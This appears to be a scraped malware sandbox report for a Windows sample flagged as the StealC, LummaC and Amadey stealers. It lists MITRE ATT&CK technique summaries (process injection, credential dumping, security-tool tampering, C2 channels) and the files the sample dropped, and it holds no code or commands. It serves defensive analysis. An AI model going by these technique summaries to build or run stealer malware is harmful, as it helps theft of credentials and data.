Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAAEBKEGHJKEBFHJDBFC

C:\ProgramData\EHIJDHCAKKFCBGCBAAECFIJDAK

C:\ProgramData\FIEHDBGDHDAECBGDHJKF

C:\ProgramData\GCGCBAEC

C:\ProgramData\GIEGHJEG

C:\ProgramData\JEGHJKFHJJJKJJJJKEHCBGCGDA

C:\ProgramData\KEBKJDBAAKJDGCBFHCFC

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre